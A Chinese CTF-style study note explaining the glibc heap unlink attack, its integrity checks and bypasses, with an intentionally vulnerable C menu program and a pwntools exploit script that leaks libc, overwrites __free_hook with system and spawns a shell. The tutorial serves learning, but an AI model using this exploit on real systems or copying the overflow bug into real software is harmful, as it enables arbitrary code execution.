【我的 PWN 学习手札】Unlink Attack

news2024/11/16 15:30:50

目录

前言

一、Unlink介绍

二、保护和限制

(1)FD->bk == P AND BK->fd == P

(2)chunksize(P) == prev_size(next_chunk(P))

(3)largebin chunk

三、适用场景 

四、利用与绕过

(1)保护一绕过 

(2)保护二绕过 

(3)检查三绕过 

(4)其他trick 

五、测试代码与模板


前言

Unlink是一个堆管理中的一个操作,用于将bin中双向链表组织的堆块从链中取出。然而,我们可以利用这一过程进行的写操作,满足条件的情况下实现任意地址读写。 


一、Unlink介绍

在除了fastbin、tcachebin的其他空闲堆块的管理bin中,如shortbin、largebin、unsortedbin,内部组织都是双向链表。如下图(示意图来自好好说话之unlink-CSDN博客 )

 当需要将second_chunk脱链时,使用unlink对second_chunk操作。不难看出,实际上是这样一个过程:

我的上一个的下一个=我的下一个,我的下一个的上一个=我的上一个

这样“我”就可以取出,因为链上已经没有指针指向“我”,即所谓的脱链。代码上看既是:

(“我”->fd)->bk=(“我”->bk)->fd

转换一下:

FD->bk = BK;BK->fd = FD

其中FD=“我”->fd,BK=“我”->bk。这正是写在glibc源码中的unlink的核心代码

#define unlink(AV, P, BK, FD) {                                            
    FD = P->fd;								      
    BK = P->bk;								      
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  
    else {								      
        FD->bk = BK;							      
        BK->fd = FD;							      
        ...							      
      }									      
}

二、保护和限制

(1)FD->bk == P AND BK->fd == P

if (__builtin_expect(FD->bk != P || BK->fd != P, 0))
    malloc_printerr(check_action, "corrupted double-linked list", P, AV);

很明显这个操作是对FD->bk和BK->fd的简单检查

简单来说,(尚未脱链的)链表中:

我的下一个的上一个 == 我 == 我的上一个的下一个

(2)chunksize(P) == prev_size(next_chunk(P))

if (__builtin_expect(chunksize(P) != prev_size(next_chunk(P)), 0))
    malloc_printerr("corrupted size vs. prev_size");

这一个操作也很好理解其思路

简单来说

一个堆块的size保存在两个部分:

堆块头头部字段(size)物理相邻的下一个堆块(prev_size)

这两个数值表示的堆块大小应该相等(注意是表示的而非数值,因为size的低三字节用作控制字段)。

(3)largebin chunk

if (!in_smallbin_range(chunksize_nomask(P)) && __builtin_expect(P->fd_nextsize != NULL, 0)) {
    if (__builtin_expect(P->fd_nextsize->bk_nextsize != P, 0) ||
        __builtin_expect(P->bk_nextsize->fd_nextsize != P, 0))
            malloc_printerr(check_action, "corrupted double-linked list (not small)", P, AV);

 简单来说,如果chunk的大小落在largebin范围内,就会进行对nextsize的检查

三、适用场景 

首先讲一下Unlink的利用场景。

1、chunk_list

2、overflow 

题目往往会有这样一个场景:一个list数组,内部保存了一些heap分配来的指针

然后对于这些指针有读写的权限。——如果这些指针我们能控制就好了,这样就做到了任意地址读写

简单的话,这个数组保存在bss段上,再不济是这个数组也是heap分配来的,难一点可能PIE开启了。总之,我们会想方设法得到这个数组的地址。然后开始进行后续利用

四、利用与绕过

(1)保护一绕过 

我们可以构造一个fakechunk,使得: 

fakeFD -> bk == P1 *(&fakeFD + 0x18) == P1 *fakeFD == &P1 - 0x18
fakeBK -> fd == P1 *(&fakeBK + 0x10) == P1 *fakeBK == &P1 - 0x10

结合上图看就很容易理解了——对于fakechunk来说,是不是满足了P->fd->bk==P==P->bk->fd?

(2)保护二绕过 

有两种方法:

1.将 chunk2 的 prev_size 修改成 fake chunk 的 size。

        很直接,没什么好说的

2.将 size 和 prev_size 修改为 0 。

        这是利用了next_chunk(P)实际上是通过ptr+size的方式索引到物理相邻的下一块地址的。这么修改,实际上next_chunk(P)=P,自然也能满足条件。

但是glibc-2.29 起多了对 size 和 prev_size 的检查,第二种方式失效。

(3)检查三绕过 

更简单了,,不要申请largebin大小的chunk,申请smallbin范围内的chunk即可。。。

(4)其他trick 

触发unlink,往往是通过free物理相邻的下一块chunk,检查到该chunk的上一块处于free状态(size的prev_inuse为0),就用unlink将上一块脱链后合并。

unlink必然是在双向链表的场景,怎么保证呢?这是因为凡是fastbin、tcachebin的chunk的物理相邻chunk的prev_inuse位始终置为1,所以凡是prev_inuse位置为0,那么其物理相邻的上一块chunk必然是在smallbin、largebin、unsortedbin。

因此我们需要溢出来将prev_inuse来置为0,所以在只有off-by-null或者off-by-one的情况下即可利用。

为什么溢出一位即可利用,chunk的size字段前还有prev_size字段,也是需要溢出写的呀?

如果溢出字节数够多,自然没什么可讨论的。

如果只能溢出一个字节呢?其实这个字段并不需要溢出就能修改,chunk具有prev_size复用的情况存在,即,如果当前chunk被启用,会视申请chunk的大小,选择复用下一个物理相邻chunk的prev_size字段——因为上一个chunk被启用了,那么下一个chunk肯定不会和上一个合并,也就用不到prev_size字段,这是空间利用的一种优化。

读者可以试着申请一下(64位下)0x18大小的堆块(当然0x25,0x107等都可以)只要个位是(1~8),即可触发这一复用。

五、测试代码与模板

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}
from pwn import *
elf=ELF('./pwn')
libc=ELF('./libc-2.23.so')
context.arch=elf.arch
context.log_level='debug'

io=process('./pwn')
def add(index,size):
    io.sendlineafter(b'choice:\n',b'1')
    io.sendlineafter(b'index:\n',str(index).encode())
    io.sendlineafter(b'size:\n',str(size).encode())
def delete(index):
    io.sendlineafter(b'choice:\n',b'2')
    io.sendlineafter(b'index:\n',str(index).encode())
def edit(index,length,content):
    io.sendlineafter(b'choice:\n',b'3')
    io.sendlineafter(b'index',str(index).encode())
    io.sendlineafter(b'length:\n',str(length).encode())
    io.sendafter(b'content:\n',content)
def show(index):
    io.sendlineafter(b'choice:\n',b'4')
    io.sendlineafter(b'index:\n',str(index).encode())

# leak libc
add(0,0xa0)
add(1,0x10)
delete(0)
show(0)
libc_base=u64(io.recv(6).ljust(8,b'\x00'))+0x7075d0200000-0x7075d059bb78
success(hex(libc_base))
  

# chunk list start: 00000000004040C0
add(2,0xf0) # 4040C0+2*8=4040d0  fake_chunk
add(3,0xf0) # 4040c0+3*8=4040d8
add(4,0x10)  # 4040c0+4*8=4040e0

fake_size=0x101
fake_chunk=b''
fake_chunk+=p64(0)              #prev_size
fake_chunk+=p64(fake_size)      #size
fake_chunk+=p64(0x4040d0-0x8*3) #fd
fake_chunk+=p64(0x4040d0-0x8*2) #bk
fake_chunk=fake_chunk.ljust(0xf0,b'a')
prev_size_fake=0xf0
payload=fake_chunk+p64(prev_size_fake)+p8(0)
gdb.attach(io)
pause()
edit(2,len(payload),payload)
delete(3)

payload=p64(0)+p64(libc_base+libc.sym['__free_hook'])
edit(2,0x10,payload)
edit(0,0x8,p64(libc_base+libc.sym['system']))
add(5,0x20)
edit(5,0x8,b'/bin/sh\x00')
delete(5)
io.interactive() 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2133771.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Day 11-12:查找

目录 概念 方法 折半查找 前提 算法思路 分块查找 算法思路 哈希表 概念 构造哈希函数的方法 保留除数法 处理冲突的方法 开放地址法&#xff08;二次探查法&#xff09; 链地址法&#xff08;重要&#xff09; 哈希表的实现 结构体的创建 哈希表的创建 哈希…

Agent实战——使用 Dify 和 Moonshot API 构建 AI 工作流

引言 在当今的大模型应用浪潮中&#xff0c;AI Agent的开发和集成已经成为技术革新的重要方向。随着大模型的不断进步&#xff0c;如何利用这些强大的模型来简化复杂的任务&#xff0c;并将其集成到企业的生产环境中&#xff0c;成为开发者和企业共同关注的焦点。在2024年稀土…

linux-L3_linux 查看进程(node-red)

linux 查看进程 以查看进程node-red为例 ps aux | grep node-red

自制游戏手柄--Android画面的input输入控制

在使用传感器获取到运动数据后&#xff0c;怎样转换为input事件传给手机呢&#xff0c;这里以Android为例&#xff0c; 我们可以考虑以下方式&#xff1a; 1. 物理方式&#xff0c;使用舵机连接触碰笔去实现&#xff0c; 2. 构造MotionEvent事件&#xff0c;注入input&#…

Python之 条件与循环(Python‘s Conditions and loops)

&#x1f49d;&#x1f49d;&#x1f49d;欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:Linux运维老纪的首页…

linux环境下手动安装mysql

没想到兜兜转转这么些年&#xff0c;今天申请个云服务器用来搭建求生2服务器&#xff0c;先用mysql来测试&#xff0c;结果还是花了相当久的时间。 基本所有单节点部署应用到linux环境&#xff0c;都三个流程&#xff1a; 1 下载安装包 2 解压修改配置文件 3 运行启动脚本 我们…

Idea 中的一些配置

配置 javap jdk 自带的 javap 可以用来查看字节码信息。 配置过程&#xff1a; 打开设置&#xff0c;定位到 Tools&#xff0c;External Tools新建项&#xff0c;Program 中填 javap 的路径Argument 中填 -c $FileClass$Working directory 中填 $OutputPath$ Argument 中也…

【有啥问啥】复习变分下界即证据下界(Evidence Lower Bound, ELBO):原理与应用

复习变分下界即证据下界&#xff08;Evidence Lower Bound, ELBO&#xff09;&#xff1a;原理与应用 变分下界&#xff08;Variational Lower Bound&#xff09;&#xff0c;也称为“证据下界”&#xff08;Evidence Lower Bound, ELBO&#xff09;&#xff0c;是概率模型中的…

Golang | Leetcode Golang题解之第403题青蛙过河

题目&#xff1a; 题解&#xff1a; func canCross(stones []int) bool {n : len(stones)dp : make([][]bool, n)for i : range dp {dp[i] make([]bool, n)}dp[0][0] truefor i : 1; i < n; i {if stones[i]-stones[i-1] > i {return false}}for i : 1; i < n; i {…

产品探秘|开物——面向AI原生和云原生网络研究的首选科研平台

在当今高速发展的信息技术领域&#xff0c;特别是对于那些致力于前沿科技探索与实践的高校而言&#xff0c;拥有一款能够支持复杂网络业务研究与开发的平台至关重要。开物™数据网络开发平台&#xff08;Data Network Development Platform&#xff0c;简称DNDP&#xff09;&am…

el-input 只能输入数字和一个小数点,或者只能输入正整数

只能输入框只能输入正整数&#xff0c;输入同时禁止了以0开始的数字输入&#xff0c;防止被转化为其他进制的数值。 下面为案例&#xff1a; <!-- 不能输入零时--> <input typetext oninput"valuevalue.replace(/^(0)|[^\d]/g,)"><!-- 能输入零时-…

const 声明变量 报错Missing initializer in const declaration

近日用const 声明一个变量发现一个问题&#xff0c;如果声明的同时没有赋值&#xff0c;就会报错Missing initializer in const declaration 以下是分别以const、let、var声明显示的结果 const 方式声明 const a null const b const c 1 const d 2 const e false console…

Java | Leetcode Java题解之第404题左叶子之和

题目&#xff1a; 题解&#xff1a; class Solution {public int sumOfLeftLeaves(TreeNode root) {if (root null) {return 0;}Queue<TreeNode> queue new LinkedList<TreeNode>();queue.offer(root);int ans 0;while (!queue.isEmpty()) {TreeNode node que…

c++206 友元类

#include<iostream> using namespace std; class A { public://声明的位置 和public private无关friend void modifyA(A* pA, int _a);//函数modifyA是A的好朋友A(int a, int b){this->a a;this->b b;}int getA(){return this->a;} private:int a;int b; };vo…

频带宽度固定,如何突破数据速率的瓶颈?

目录 目录 引言 信道 频带宽度 信噪比 信噪比的重要性 影响信噪比的因素 码元 码元的特点&#xff1a; 码元与比特的关系&#xff1a; 码元的作用&#xff1a; 码元的类型&#xff1a; Question 类比解释&#xff1a; 技术解释&#xff1a; 引言 在现代通信系统中…

Python | Leetcode Python题解之第404题左叶子之和

题目&#xff1a; 题解&#xff1a; class Solution:def sumOfLeftLeaves(self, root: TreeNode) -> int:if not root:return 0isLeafNode lambda node: not node.left and not node.rightq collections.deque([root])ans 0while q:node q.popleft()if node.left:if is…

Tomcat_使用IDEA开发javaWeb工程并部署运用

目录 1.配置文件 点击file projectStructure 配置SDK和language level的语言版本一致。apply然后ok。 2. 然后点击web-all创建一个moudle叫做demo02-web02。 3.这仅仅是一个java的目录结构&#xff0c;我们需要把他转换成javaweb的结构。所以我们需要添加web资源组件。右…

【STM32】独立看门狗(IWDG)原理详解及编程实践(下)

这篇文章详细讲解独立看门狗的编程实践代码。关于独立看门狗的原理及配置可以看上一篇文章。 【STM32】独立看门狗&#xff08;IWDG&#xff09;原理详解及编程实践&#xff08;上&#xff09;-CSDN博客 目录 1、 初始化 IWDG 2. 配置 IWDG 3. 喂狗 4. 处理看门狗复位 5、完…

Google推出Data Commons解决AI“幻觉”

每周跟踪AI热点新闻动向和震撼发展 想要探索生成式人工智能的前沿进展吗&#xff1f;订阅我们的简报&#xff0c;深入解析最新的技术突破、实际应用案例和未来的趋势。与全球数同行一同&#xff0c;从行业内部的深度分析和实用指南中受益。不要错过这个机会&#xff0c;成为AI领…

SQL进阶技巧:如何将字符串数组清洗为简单map结构? | translate + regexp_replace方法

目录 0 场景描述 1 数据准备 2 问题分析 2.1 方法1 特征法-通用解法 2.2 方法2枚举法(不通用) 3 小结 ~~END~~ 如果觉得本文对你有帮助,那么不妨也可以选择去看看我的博客专栏 ,部分内容如下: 数字化建设通关指南专栏原价99,现在活动价29.9,按照阶梯式增长,直到恢…